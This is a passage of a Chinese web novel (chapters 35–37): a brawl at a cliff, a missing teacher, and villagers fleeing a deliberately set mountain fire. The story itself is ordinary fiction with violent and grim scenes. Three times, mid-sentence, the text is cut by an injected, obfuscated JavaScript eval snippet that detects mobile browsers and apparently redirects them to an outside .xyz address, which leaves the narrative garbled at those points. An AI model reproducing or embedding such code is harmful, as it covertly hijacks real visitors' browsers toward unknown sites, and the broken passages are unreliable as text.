一众人皆哈哈着说是。忽然这时,从众人背后走过来一群人,为首的又是韩明吉,也许是听到了郑禹原的话,开口便嘲讽道:“烤个山鸡就幻想能有女人跟着你了?我妹妹要是选男人,连你这种人看都不看一眼,你还真把自己当回事了。” 郑禹原的表情立刻垮了下来:“妈的,这狗东西怎么跟个鬼似的阴魂不散。” 韩明吉是故意找过来的。围猎场上他虽然立马逃走,但最后还是被取消了成绩,一定是宋景熙那个贱骨头告了状,让本该是他主场的围猎变成了一次耻辱!本就因为这件事烦着,妹妹韩暎还非缠着他问那个替她挡了石头的男孩是谁。他怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773784|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道!他又不认识!千辛万苦好说歹说终于将韩暎送走了。一整日都憋着气,可得找郑禹原和宋景熙那两个狗崽子和沈本庭那个狗腿子找找茬、发发火! 韩明吉一步步逼近上来,针锋相对道:“果然是上梁不正下梁歪,瞧瞧你那爹,娶了那么多女人,给你生了那么多兄弟,这么多儿子肯定不好教养吧?难怪一个个品行都差到发指,尤其是你!最是有爹生没爹养!看什么看,宋景熙,你也没好到哪里去!要不是你,今天的围猎魁首就是我了,都他妈你害的!” “哐”的一声,韩明吉扬手打翻了宋景熙手里的碗。郑禹原气得额头青筋乱蹦,怒道:“妈的...老子平生最讨厌拿这件事侮辱我的人,你、他、妈、死、定、了!韩明吉!” 他拳头握得紧紧的,但宋景熙和沈本庭都握住了他的手臂,不让他揍人。沈本庭本着息事宁人的原则,劝道:“冷静点,他故意激你的,别和他计较!” 韩明吉呵了一声,换个人攻击,他看向宋景熙,道:“宋景熙,你不是想知道你哥的消息吗?我现在就告诉你,你哥在成均馆那是什么遭遇!” 宋景熙刚刚弯腰捡起被打翻的铜碗,还没直起身来,听韩明吉这么说,当即道:“...什么?” 韩明吉轻蔑地道:“看来你真不知道。也是,你哥过得那么惨,连觉都睡不好,怎么会写信向你们诉苦呢?他可是很害怕家人为他担心啊!哦,我差点忘了,他可没有写信的机会!” 宋景熙站直了,直直地盯着韩明吉,语气冷硬道:“你他妈最好给我说清楚,我哥怎么了。” 韩明吉道:“蠢货!我他妈说得很清楚了,你哥,在成均馆,过得可惨了,根本没人愿意接近他,因为他们都只想着讨好我哥!你知道我哥有多讨厌你哥,就像我讨厌你一样!只要我哥不高兴,就算他不说,也自然会有人去找你哥的麻烦。我哥已经功名加身了,而你猜猜你那个好哥哥还要在成均馆进学几年?一辈子也抵不上我哥的...啊!” 又是“哐”的一声,宋景熙将铜碗毫不留情、极其用力地砸在了韩明吉额头上。沈本庭没料到,最先动手的会是宋景熙。 韩明吉捂着额头,暴怒道:“妈的、妈的!给我上,揍死这几个狗崽子!” 不止沈本庭没料到,郑禹原也没料到宋景熙会比他先动手。与沈本庭的手足无措不同,郑禹原摩拳擦掌极其兴奋,叫嚣道:“好啊好啊终于打起来了,老子早就想好好收拾你们这几个家伙了!弟兄们上,打死了算我的!” 顿时,十几个人围殴成一团,沈本庭想退出,但却没有机会,从没好好练过武的他根本打不过对面的流氓学子,很快被一拳打到了脸上,差点摔倒。郑禹原看见了,苦于自己没空抽身,便朝一个跟班叫道:“把本庭带走,他不会打架!” 沈本庭的退出没有影响斗殴。郑禹原两手收拾两个,这个揍趴了又有新的填补上来,他最想揍的是韩明吉,却一拳没打到。 宋景熙情况更遭,似乎四面八方都在打他,完全没有喘息的机会。打着打着,他开始想起韩时元,如果有他在,一定能联手将这群人全部揍趴,又想起李珘,老师不愧是老师,之前对他的评价果然说的不错,一对一稳操胜算,一对多顾此失彼! 说的简直太对了,他现在已经挨了有几拳了,但一点不觉着痛,因为心中的愤怒,心痛,比挨拳头更痛! 应接不暇中,宋景熙完全没有注意到自己在被包围后已经在不断后退了,也完全没有注意到自己的背后就是那片两三丈高的悬崖,就在这时,悬崖下面突然有人大喊道:“小心!” 宋景熙朝声音看去,来的人竟然是李澄!然而他只惊讶了短短一瞬间,很快便后悔转头了,因为让他心惊的是他发现自己竟然在悬崖边,并且离悬崖只有两步的距离。他暗叫一声不好,回头打算远离悬崖,没想到还没回头,只感觉腰腹处一股蛮力,有人踹了他一脚。 甚至还没能回头看看谁踹了他,宋景熙整个人便直直向下倒了下去。 “宋景熙!” 好几声一起喊,宋景熙还没分辨出来是谁在喊他,便扑通一声掉在了水里,所幸悬崖下河水的深度足够容纳他,没让他撞到河底,又所幸他会水,很快从水面探出脑袋。令他惊讶的是,下游的河岸边居然有两个人,一个是他方才看见的李澄,另一个...居然是韩时元!! 两人都已经半边身子蹚进水里,看样子是怕宋景熙淹死,想去救他的。宋景熙朝二人嘿嘿笑道:“没事!我会水...” 忽然,悬崖上郑禹原扯开嗓子“嘿呀”一声,大呼道:“去你的!” 宋景熙朝上面望去,好多人在岸边列成一排看着,迎面一声扑通,一个人从悬崖边跳了下来。居然是郑禹原大力抓住一个看戏的韩明吉的跟班,毫不留情地从悬崖边丢了下去!随即他又如法炮制,趁几个看戏的还没反应过来,和跟班们一起一人踹一脚,将韩明吉的小弟们全部踢了下去。目睹一切的沈本庭默默地捂住了脸,不忍直视。 还剩最后一个韩明吉,一人难敌众手,尽管他如何挣扎,就是被郑禹原反扣着动弹不得。郑禹原解气地哈哈大笑道:“老子今天让你也尝尝跳水的滋味!宋景熙,快上岸!” 宋景熙得令,赶紧朝岸边游去,然而他发现原本岸边两人,此时只剩下了李澄一人,最先抓住他胳膊的也是李澄。宋景熙疑惑道:“他人呢?” 李澄眨了眨眼,不在乎地道:“不知道,哥先上来吧,别在水里泡着了。” 宋景熙刚从水里满腹疑问地走了出来。与此同时,悬崖边的韩明吉惊恐地大叫道:“我不会水救我啊啊啊啊啊啊啊啊啊啊!” 郑禹原邪笑几声,用力一推,伴随着响彻天际的惊吓声,一声“砰”,让韩明吉整个人炸进了水里。 大仇得报,郑禹原满意地拍了拍掌,朝宋景熙呼道:“别看了!赶快回营地了!”说罢,抓着沈本庭的手臂扬起来欢呼,几个跟班也都跟着一边兴奋地举臂欢呼,一边撤退了。 韩明吉的手下里有会水的,眼看着就要将韩明吉捞上岸了,李澄扯了扯宋景熙,道:“得走了。” 宋景熙迟疑地点了点头,心想韩时元可能是见他没事便走了,或许是不想被人发现他闯进来了吧。毕竟韩时元很讨厌在人前露面,正常正常。这么想着,自个儿便松了一口气,在韩明吉还没被捞上岸前,往营地的方向走去了。 36. 火德其一 韩明吉告状了。 郑父知道郑禹原把韩明吉丢进水里后哈哈大笑,夸赞儿子敢做敢当,沈本庭和宋景熙就没这么幸运了,尤其是宋景熙,宋父居然直接将他从眉寿山抓了回来,提前一个月结束了为期半年的光隐寺修行之旅,让他滚回宗学好好做人。 宋景熙瘪瘪嘴,背着书袋子回宗学了。本想着时不时再溜回眉寿山,不料父亲居然派人看管他。为了能再回到眉寿山,宋景熙足足装了一个月的模范学子。 在得到司成的认可和夸赞后,宋父终于撤走了看管的人。 重获自由的第二日,宋景熙便旷学了,骑着马去了眉寿山。 清晨,寒舍。 李珘心事重重地抽了一口烟,缓缓吐气,道:“景熙啊,虽然我也很不想这么说,但你不能再上山了。” 宋景熙没想到迎接他的会是这样一句话,宛如往他头顶泼了一盆冷水。他道:“为什么?” 李珘没说话,反反复复抽了好几口烟,居然抽得额头越来越皱,叹气道:“原因嘛...现在很难说清楚,总之现下山中很危险,有些不该出现在山里的人出现了,你得避避风头,不能再出现在这里了诶。” 宋景熙蹙眉道:“不该出现的人...出现在了这里?冲着我们,不对,冲着您和时元来的吗?” 李珘呲牙咧嘴地做了个夸张的表情,重重地点了点头,又抽了一口烟。今日这烟越抽越烦躁,他索性将烟斗丢开不抽了。这时,从窗边便飘过一个韩时元。李珘瞥见了他,顿时扒到窗边,冲韩时元喊道:“时元!水桶好像空了,你和景熙去山下打些来吧!” 宋景熙不知道老师出的又是什么鬼主意,但也没拒绝,走出屋外轻车熟路地提起水桶,朝神色紧绷的韩时元笑道:“走?” 他沉寂了一路,直到打完水,才道:“老师究竟怎么了?说话神秘兮兮的,我还以为你们遇上刺客了。” 韩时元道:“遇上了。” “啊?”宋景熙沉默了。他方才那么说,几乎是抱着开玩笑的心思的。在来打水的一路上,他之所以没说话,就是因为在观察有没有被跟踪,有没有老师口中所说的“不该出现的人”。然而并没有。 “刺杀?” 韩时元道:“不是刺杀。” “那是什么?” “从几日前起,他们便会出现在寒舍附近,没有别的动作,就只是会偶尔出现,似乎是在监视,不对,应该叫刺探。” 难怪老师说如今山上很危险。宋景熙震惊道:“为何会突然如此?老师和你不都在山上住了好几年了吗,以前斗没有这些人来骚扰。” 韩时元嗯了一声:“或许已经有人在怀疑老师的身份了。” 宋景熙道:“已经开始怀疑了?那老师,还有你,岂不是一直处在危险之中了?” 韩时元直直地注视着宋景熙的眼睛,轻轻点了点头。他动了动唇角,还有什么话想说。 宋景熙忽然意识到了什么,道:“既然有危险,我们不能让他一个人待在那里,还叫我们来打什么水啊!我们得赶紧回去,别管打水了,跟我走!” 他抓住韩时元的手臂转头便跑,可没等他跑出几步,远处天边突然升起一道烟云,两人齐刷刷抬头看去。 那是寒舍的方向。 李珘手上有信号烟,但是从来不用,也没有必要用,因为使用的条件只有一个:出事了。宋景熙惊声道:“老师那边出事了!” 韩时元也道:“遇上麻烦了。” 两人弃下水桶,一路奔至寒舍。寒舍依旧是那个寒舍,只是离寒舍十步远的地上多了一滩血,虽然只是一小滩血,但也足够说明发生了什么。血的旁边是一把刀,是李珘一直供着,但从未见他用过的佩刀,如今和地上的尘土混在一起。 李珘的屋子窗户也被捅开了,从洞眼看去,正对着的墙上有一支钉进墙里的箭。屋内也是一片狼藉,书籍倒了一地,还有一道鲜红的血溅在了墙上。 韩时元盯着地上的血,面色很是阴沉:“我们得找到老师。” 这些血看得宋景熙心惊肉跳,在心中默默祈祷血是刺客的,如果血的主人是老师,那么老师恐怕要凶多吉少了。尽管也许曳扇台或王宫的人会看到信号烟,但无论是哪一者赶来,都至少需要两个时辰。两个时辰,熬的粥都冷了,更别说一个生死未卜的人。他们只能先自己找。 可是山毕竟是山,一座山连着一座山,一个山头临着一个山头。对于两个人来说,眉寿山实在是太大了。 宋景熙道:“血迹断了,我们去哪里找?” 韩时元望向光隐寺的方向,道:“老师说过,无论谁出了事,谁走散或者谁失踪了,都要尽量往光隐寺的方向去。他或许会在那里。” 寒舍离光隐寺距离并不近,快步走去都要耗上一个多时辰,为了节省时间,二人只能一路跑去。跑了一路后,宋景熙突然缓下了脚步。 因为他注意到地面上自己的影子正在逐渐消失。 这里是一片没有树木植被遮天蔽日的地方,而且今日一整日都是晴朗的天气,天上连云都没有,影子怎么没了? 韩时元也注意到了影子正在消失。两人不约而同地朝天上望去,只见天空被一层淡淡的灰色笼罩。 宋景熙道:“这是怎么回事......” 正在此时,远处有人扯着嗓子叫喊的声音传来:“起火了!起火了!快逃!快下山!” 起火?眉寿山上?起火了?? 叫喊的声音一直持续着,声音由远及近,反复重复着这些话,而且越来越清晰。很快,声音的主人便出现了,这是一名相貌平平的大叔。大叔见到山坡坡处有两人,便朝他们吼道:“山火来了!还不快逃,在这傻愣着搞什么?!” 宋景熙诧异道:“好端端的怎么会起火?” 大叔道:“跟我来!”说完,便立刻掠过他们,朝更远的地方去了。 这名奇怪的大叔一边卖力狂奔,一边重复报火情的话,行至较空旷之处,他顿时转身,指着远处,气喘吁吁朝二人道:“看!起山火了!” 大叔手指的远处山林间,有一抹...不,不止!有好几股滚滚浓烟,分散在苍苍密林间,由于风向是他们所在的方向,所以这些巨大的黑烟正统统朝着他们飘来! 大叔道:“山脚几处都起了大火,不止这边,那边也有火烟!”他说着,手指指向相反的方向。 “也就是说,我们正在被起火点夹击!” 宋景熙骇然道:“这么多处起火点,是不是有人故意为之??” 大叔道:“一定是有人在故意纵火!现在还不算太严重,你们要赶紧逃走,再拖一段时间,恐怕火势就会将这里围住,到时候可就没有办法出去了,得赶紧逃!看这条路,你们现在往这里下山,能活下去。下山的时候如果碰见其它人,也千万记得告诉他们赶紧离开!” 韩时元咬牙道:“我们在找人!没找到人之前,我不会下山。” 大叔道:“你们要找的人在哪?如果是失踪了的话就不要再找了!说不定看到不对劲就自己逃下山了。” 宋景熙道:“也不算完全失踪,我们要找的人应该就在光隐寺,等我们一找到他,就会马上离开这里。” 大叔吃惊道:“光隐寺?这条路不正好往光隐寺去?正好!我也要去光隐寺报火情,有胆子就跟上来!” 说罢,大叔头也不回地朝他指的路的反方向奔去了。 两人相视一眼,都是下定了决心,不可能丢下李珘一个人在山上等死。然后毫不犹豫地一起跟在大叔身后。大叔也很快发现那两名年轻人跟上了他,便感慨道:“还真跟上来啊?真是不怕死!” 宋景熙边跑边道:“真正不怕死的人应该另有其人吧!报火情?你不怕死吗?” 大叔道:“废话,老子当然怕死了!但山上还有很多人,没有我报火情,他们逃不走!我那边还有几个对这几座山很熟悉的弟兄,都和我一样趁着现在火势还没那么烈,上来告诉大家快逃命的!” 宋景熙敬佩道:“壮士!” 大叔道:“说得太过了!我们也不是啥舍生取义的壮士,只是想着能救多少就是多少,救不成的也没想着换命去救。反正我们对眉寿山地形摸得熟得很,只要没有被山火完全包围,就一定有路可走,都是父老乡亲的,喝一条河的水的,哪能见死不救啊?只要风向不改变,不会有多大问题!” 宋景熙再次打心底感到敬佩,冒着自己可能被山火包围的风险上山报火情,换做是他,他也不知道自己有没有这样的勇气。但可以肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773785|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定,这位大叔的胆识远高于他,难怪总有人说,民间出高手。 一直唇线紧抿的韩时元忽然开口道:“山间风向多变,万一风向改变,火势往无法预料的方向而去,断了后路,怎么办?” 听到这番话,宋景熙的心沉了沉。的确,在大山面前,人算个什么东西,谁能保证大火不会封山? 大叔沉默了一阵,而后道:“这天气好得很,老天爷不会随便变风向,要是他敢变,那还能咋办,那就是我的命。” 一路上,三人只要遇上人,便会指路赶紧让人下山。有在山里打钓鱼的,砍柴的,采药的,打坐的,许多人都只顾低着头看地上,却忘记抬头看看灰暗的天色,一听说山火来了,皆吓得魂不守舍,不用催,都立即往山下逃去了。 除了让逃跑,宋景熙和韩时元还会询问碰见的每一个人,问他们是否见过一个衣着这般这般相貌那般那般的人。回答都是没有。 天色正在逐渐变得昏暗,宋景熙的心也仿佛蒙上了一层阴影,不断祈祷李珘就在光隐寺等着他们。 一路脚程,终于到了光隐寺。 宋景熙本以为光隐寺的人会注意到不正常的天色,会发现起了山火,会已经撤离了。但出乎他们意料的是,光隐寺内,住持静真大师和他的几个徒弟竟然都还在寺中站着,原本都望着灰暗的天空口中念念有词,注意到来人后停止了诵经。 静真大师和另外几名僧人的身上都缠着染血的布条,一问之下,才得知方才有人来寺中闹事,僧众们合力才将那几人赶走,代价是都受伤了。 在从静真大师口中得知没有见到李珘后,宋景熙的心更是顿时沉到了谷底。 静真大师脑袋上还缠着布条,道:“贫僧发现山火后,弟子们大多选择下山,现在只剩下贫僧和贫僧的这几名徒弟还在这里留着。并未看到两位施主要找的人。” 大叔道:“既然人不在这,那多半是已经下山了,不能待在这里,几位大师也赶快跟我们一起走吧!” 静真大师道:“阿弥陀佛,我们已经不打算离开了。” 大叔道:“在这等死等于自尽,住持大师不会不知道佛法里自尽是严重的罪业吧!” 静真大师静静地道:“阿弥陀佛。生即是死,死即为生。贫僧自寺中出生,若此地被摧毁,贫僧不愿苟活。”接着,静真大师稍稍转身,朝韩时元合掌道:“小施主想下山吗?” 韩时元沉默一阵,道:“想。” 静真大师道:“阿弥陀佛。还是请小施主趁早离开吧,恐怕施主他已经离开此地了。若是他出现在这里,届时我再告知小施主。” 韩时元道:“怎么告知?” 静真大师不答,只道:“阿弥陀佛。” 韩时元默然道:“我知道了。” 宋景熙诧异地想:什么?知道什么了,静真大师还什么都没说呢,怎么就知道了?? 静真大师身旁几名弟子也道:“阿弥陀佛。” 大叔道:“静真大师,这几位大师,您几个真不离开这里,非得活活烧死才叫证道?那算啥啊。” 僧众们只道:“阿弥陀佛。”静真大师道:“施主,火势愈发严重了,还请趁早离开吧。有人活着,这座山才不会成为一处死地。” 大叔摆手道:“真是没办法理解你们这群和尚,活着不好,非要死了才行。行,走了。” 宋景熙顿时急了。 在眉寿山和李珘学武的那段日子,他都是住在寺庙中的,静真大师素来对他多加照拂,对于他连经书翻都不翻的行为是格外包容,知道他和李珘在学武,也替他们向外界保守着秘密。 这么慈祥和善的一位好大师,结局竟然是要被活活烧死? 宋景熙还不能想象,为何有人会面对死亡欣然接受。 他对佛法不感兴趣,也不懂佛法,什么生死轮回,什么死即是生,对他来说根本是个摸不着的东西,痛苦是真切的,死亡也是真切的,要让他眼睁睁看着这群僧人留在山上被活活烧死??他没办法做到! 宋景熙跨出步子,喊道:“住持大师...!”他刚跨出一步,便被韩时元牵住胳膊拦住了。 韩时元摇了摇头。 静真大师和几名弟子缓缓步向内院,即便听见了声音,也没有回头。 37. 火德其二 天色变得越来越昏暗,仿佛时间正在倒流回黑夜。 宋景熙抱着沉重的心情继续和韩时元一起搜寻李珘的痕迹。一整片山头都快搜光了,依旧没有李珘的踪迹。时间越流失,宋景熙内心的不安和恐惧就越深。他看向韩时元,韩时元虽然面色凝重,却没有看出来任何不安和害怕。 宋景熙很想问韩时元为什么好像也一点不怕的样子,但还是没问。会有人不怕死吗?他以前觉得没人不怕死,但静真大师他们改变了他的想法。那为什么不怕死,是因为有比性命更重要的东西吗?可是到底是什么东西会比性命更重要?他不明白,还想不明白。 抬头望去,整座山的上空已经被浓烟完全覆盖了,每吸一口气,都仿佛在让鼻腔和喉咙肆意燎烧。众人撕下衣物,捂住口鼻,艰难地呼吸。偶尔在空旷的地方,能看到远处的火团像流水一样迅速侵蚀。 山火从山脚向上蔓延,又风行猛烈,导致大火烧得十分迅速,比大叔预估的还要快速。现在已经不需要他们通知火情了,因为是个人都会意识到发生了什么。大叔也决定停止通知火情,而是尽量找到更多的人,见到人就让人跟上,一起往未被大火侵蚀的地方逃去。 对于这一决议,宋景熙正拿不定主意,便听见韩时元反对道:“我不下山。” 宋景熙诧异地盯着韩时元的侧脸,不久前在静真大师问他想不想下山时,他的答案不是这样的。 大叔道:“闭嘴!先自己活着再管管别人吧,都得跟我走!一个都别想掉!” 很快,原本三人的队伍变成了足有十几人之多,男女老少,一个不缺。男子道:“我有几个弟兄是守着出去的关口的,那些地方不会这么快被烧到,现在出去,我们都能活着!” 这一句话宛如定心丸。 前往大叔所说的最近的逃生关口途中,队伍竟又扩充到二十人。眼前是一片被浓雾裹挟的密林,众人穿梭其中,行了不到一刻,突然有人惊叫道:“有人!” 众人都眯着眼望去,果然,前方不远处,一个若隐若现的身影正穿透层层浓雾,逐渐出现在众人眼前,只是恐怖的是,这人的下半身已经被火舌吞噬了,但依旧屹立不倒,因为他的手上,抱着一个婴儿! 男人将孩子举过头顶,哭嚎道:“救救我的孩子!救救她!她才一岁多,谁来救救她!” 一直打头阵的大叔毫不犹豫地接过孩子,眉头紧锁,语气焦急地朝男人喝道:“怎么回事!前方为何会有火!” 被火烧着的男人根本没来得及说一句话,手中的孩子一被接过,他就立刻倒地在地上滚来滚去地哀嚎,完全说不出一句话,身上的火舌更是越扑越浓,无法抢救,这男子逐渐无力挣扎,哀嚎声也渐渐衰弱,很快便在地上不动了。众人眼睛看着这恐怖的场景,耳朵听着这恐怖的哀嚎,心中的恐惧也越来越浓。 更让他们害怕的是,前方的路直通领头大叔口中的逃生关口,那是最近的一条路,被火烧到的男人从这条路正前方出现,要是前方有火,那就说明这条路被火断了,行不通! 领头大叔的面色越来越凝重,眼见众人越来越慌,立刻道:“各位不用害怕!前方没看见火,不一定是被截住了,逃生的关口也不止那一个,还有好几个,我们不缺活下来的机会!” 众人好不容易安定下来,继续往前出发。不久后,从前方浓烟处再次钻出一名男人,男人满脸烟灰,衣服也都是被燎灼的痕迹。 大叔一见到他,便激动地道:“小七!前方怎么样了!你这副样子,好像不太好。” 小七抹泪道:“不好!三叔,完蛋了!那条路被火封住了!还有人在故意放火,我没能拦住他们,他们现在已经朝另外几个关口去了!要把我们困死在山上!” 被唤作“三叔”的大叔脸色大变,怒骂了一句,当即朝后面一众人道:“有没有腿脚快的?跟我一起去守住关口,不能让那群狗养的畜生得逞!” 宋景熙当即挥手:“我去!” 韩时元也举起胳膊:“我也去。” 另有两名壮年男子举手道:“我们也去!” 三叔道:“那就你们四个了!小七,你领着剩下的这些人尽早跟上。你们四个,跟上,跑起来,拖不得!” 不知跑了多久,宋景熙只觉得自己好像在被从内到外凌迟。等他发现三叔呼喊的声音越来越低,队伍的速度越来越慢,好不容易从浓烟里勉强睁开眼睛,看见的不是所谓逃生的出口,而是一片更加恐怖的火场。 他们站在一片高地上,这里是三叔所说的可以俯瞰这一侧所有关口的地方,而这里分明已经陷入一片火海当中了。四周已经被烧成了血红色,仿佛置身在内脏当中。虽在远处却仿佛近在眼前的一条条明火像岩浆一般顺着山的曲线流淌,火焰像野兽的牙齿一样张扬,要将天都撕咬成碎片。如果要问地狱在哪里,那地狱一定在这里。 三叔愤怒地道:“妈的!他们已经得手了!这群家伙找死为什么要拖着这么多人一起死!混蛋!一群混蛋!下地狱去吧!” 他们站在这片高地上,又何尝不像是站在阴曹的边境上。不对,不对,他们已经在阴曹了。 宋景熙慢慢地捂住脸,终于意识到一个人有多渺小,原本还抱着一丝丝救世的雄心壮志的他,在看到这样的场景时,终于控制不住地发抖了。 忽然,他感觉到有人用力地抱住了他。抬眼一看,果然是韩时元。 一瞬间,恐惧和害怕消退了不少。 他也只愣了一瞬,便伸出双臂轻轻圈住了韩时元。韩时元反而越来越用力地箍住他的肩,他猜得到韩时元大概是想安慰他别怕,韩时元也确实这么说了,但大抵是由于韩时元自己的心跳太快,好像比宋景熙还紧张害怕,所以完全没有起到安慰的作用,反而让宋景熙的心也跳得越来越快。 两个人身高一样,胸膛正对着胸膛,心脏隔着两层皮肉互撞。 韩时元好像在颤抖,声线也好像在颤抖:“...你不要怕,你要活下去......” 宋景熙侧头奇怪道:“你这是什么意思?搞得好像要和我死别一样。”接着勉强扯出一丝笑道:“你说错了,应该说,我们都要活下去...还没有找到老师,我们还没找到他...等找到他了,我们都会活着出去的...哎呀,你怎么哭了?!” 漆黑的眼珠映照着血红的颜色,终于让宋景熙看清了韩时元的瞳孔长什么样。但他宁愿不要看见,因为韩时元的眼睛好像变湿润了。 韩时元偏过了头,眨了几下眼睛,方才宋景熙看见的隐隐碎光就不见了。 宋景熙怀疑地道:““你刚刚是不是...” 韩时元道:“没有。” 宋景熙道:“我还没说是什么,你方才明明就...” 韩时元依然道:“没有。”并道:“你看错了。” 见他说得这么理直气壮,宋景熙突然就怀疑自己是不是真的看错了。这时,一旁的三叔忽然道:“打扰一下,两个大男子,搂搂抱抱的像啥样!走了!” 宋景熙忽然意识到还有人看着,那方才说的话是不是也被听见了。两人放开彼此后,他颇为尴尬地挠了挠脸。但看韩时元,神色居然又自若起来,好像没怎么觉得尴尬。 三叔转向另外两名跟着的男子道:“这头的关口没了,那一头或许还会有,老子就不信那群点火的混蛋跑得比老子还快!我们顺路也去找小七他们会和!” 就这样,宋景熙还没来得及平复平复心情,便不得不跟着三叔往回跑去了。 不出一会儿,两方便相遇了,看来小七带着的人走得也并不慢,一点儿没拖拉。三叔眼尖,一眼便发现小七带的队伍中多了三个人。其中一个中年男子萎靡不振着,还需要另外两个人拖在地上走。一见到三叔,小七便着急地问道:“那边还有路吗?” 三叔沉重地摇了摇头,顿时所有人都陷入了绝望之中,却又听三叔道:“那一边还有两个出口,也是弟兄们在把守着,我们往那边走,会看到活路的!” 又有了希望,二十多号人急匆匆地往最后的出口奔去。片刻后,众人眼前一片浓雾中又钻出两人,两人灰头土脸地大呼道:“老三,那边没守住,都被火封死了!” 三叔道:“怎么回事!那群放火的畜生怎么过去那么快!” 其中一名男子道:“什么?放火??这山火是人放的?!没看见有人啊!是风太烈了!你们没感觉到吗?!风越来越大了,正朝着这边吹!还不快逃啊!” 三叔道:“老四呢?!怎么只有你们两个?老四在哪?!” 男子悲痛道:“老四他不见了!” 三叔忽然说不出话来,渐渐地低下了头去,众人的脑袋早就在听到唯二的关口也被火封住之后低下去了,更有甚者,已经脱力瘫倒在地了。男子意识到不对劲,一股不好的预感油然而生,颤抖地问道:“这是怎么了?那边,那边也、也没有路...了吗?” 三叔无力地摆了摆手。 现在他们已经被四面八方的火包围了,哪里还会有出路,哪里还有活路?现在在这里,不就是等着被烧死吗?都是早晚的事。 可大家都还想活下去,“怎么办?” 怎么办?怎么办? 怎么办怎么办怎么办怎么办怎么办??? 你告诉我啊告诉我啊怎么办??!!! 众人不停地围着三叔问,三叔呼吸不过来,眼前一片昏暗,头昏脑胀间,那些质问的话都被揉成了一团塞进他的脑袋里,让他的脑袋几乎要炸开。 小七也默默地擦着眼泪,忽然他听见旁边有人在说话,是他方才在路上捡到的三名中年男子中,颓靡到需要被另外两名男子搀扶的那位。这男子瞎了一只眼,不断地喃喃道:“我的儿...我的儿...” 这么呢喃了一会,独眼男子忽然猛地抬头,死死盯着前方,亢奋地道:“我的儿!”说着说着,仿佛有了力气,也不知是哪里来的力气,竟让独眼男子剧烈地从两个原先拖着他的人手里挣脱开来,一步一步地往前面走去,也听不见后面的人喊他,只是盯着血红的、灰黯黯的前方自顾自地往前走,很快整个人消失在浓雾中。小七觉得奇怪,便问其中一名独眼男子的同伴道:“他怎么回事?” 独眼男子的同伴道:“他?他儿子淘气好动,总是趁他上山和我们伐薪烧炭的时候偷跑去玩,他就总把他儿子绑在山腰腰树下头,都怪他自己脾气暴,不听我们劝!火从山脚起来的,烧过他绑儿子的地方了!我们好心架他来这,他乐意被烧死就随他吧!好歹他儿子还在地下等他呢。反正现在都出不去了,谁还不是个死!” 小七忽然萌生了找棵树先吊死的想法。 宋景熙感觉有人抓住了自己背后的刀,他意识到已经有人开始想着先行自尽了,便立刻回头握紧刀柄,不让那人拔出刀来。 拔他刀的人绝望地道:“我不、我不想被烧死!你杀了我吧!求您松松手,让我先死了吧!被活活烧死太疼了!” 宋景熙的手不禁脱了一点力。拔刀的人趁着这个机会立刻要抽出他的刀来,但刀柄却纹丝不动。韩时元握住宋景熙的手,将刀柄推了回去,道:“还没到要寻死的时候。” 拔刀的人道:“说什么胡话,大家都要死了!” 韩时元冷冷地道:“不会。” “那你想我们怎么办!你说话啊!!” 韩时元道:“不会死的。山路行不通,可以走水路。往南上,山峰合抱之间有一湖泊,湖水顺势而下,形成河流,水流直达山脚,顺流而下便能获救。即便不能到达山底,沿途若能游至山火未至、山火过境的地方,也可能会有生路。” “这...你、你怎么不早说!” 小七搀扶着三叔走了过来。三叔费力地道:“因为危险。从那片湖开始沿山脉向下的河流足有几里长,并且在水流不足的时期,有些河段只是一条浅溪,虽然现在处于丰水期,但大部分河段深且宽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773786|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但坡度很高,水流很急,就算会水也很难掌控方向,不是淹死就是撞死。再说我们这群人里会水的能有几个?” 有人大叫道:“那淹死也比烧死好!我们宁愿被淹死,撞到石头被撞死,也不要在活着的时候被烧死!” 这人说完,其余众人纷纷七嘴八舌地赞同,宁愿淹死,不要烧死。 三叔沉沉地点头道:“行,还想活的就跟上来,脚步快点,跟紧点!” 这时,有人抱怨道:“这他娘的,一会说有活路,一会又说没路了,到底死不死的,也没个准信!搞得老子这心情上下起伏的,真他娘的快遭不住了!” 小七回头骂道:“那你他娘的别跟上来,自己去死吧!” 南上的山路上没有火势阻挡,众人一路抵达湖泊旁,原本碧绿的湖水被烧得通红,映照着天空的颜色。 这里算是开阔,三叔站定感受了一下,欣喜地道:“风向又变了,而且便弱了,看来一时半会不会烧到这里。”众人一听,也不禁欣喜起来,都跃跃欲跳想下水,但三叔喝住所有人,道:“先别下水!我们有几个会水的?” 宋景熙举起了左手,因为在南上山峰的途中,右手已经不知道什么时候和韩时元的左手紧紧握在一起了,由于太紧张,很多人都这样互相握着手给对方打气,所以宋景熙觉得没什么,不过他依稀记得是韩时元先伸手的。 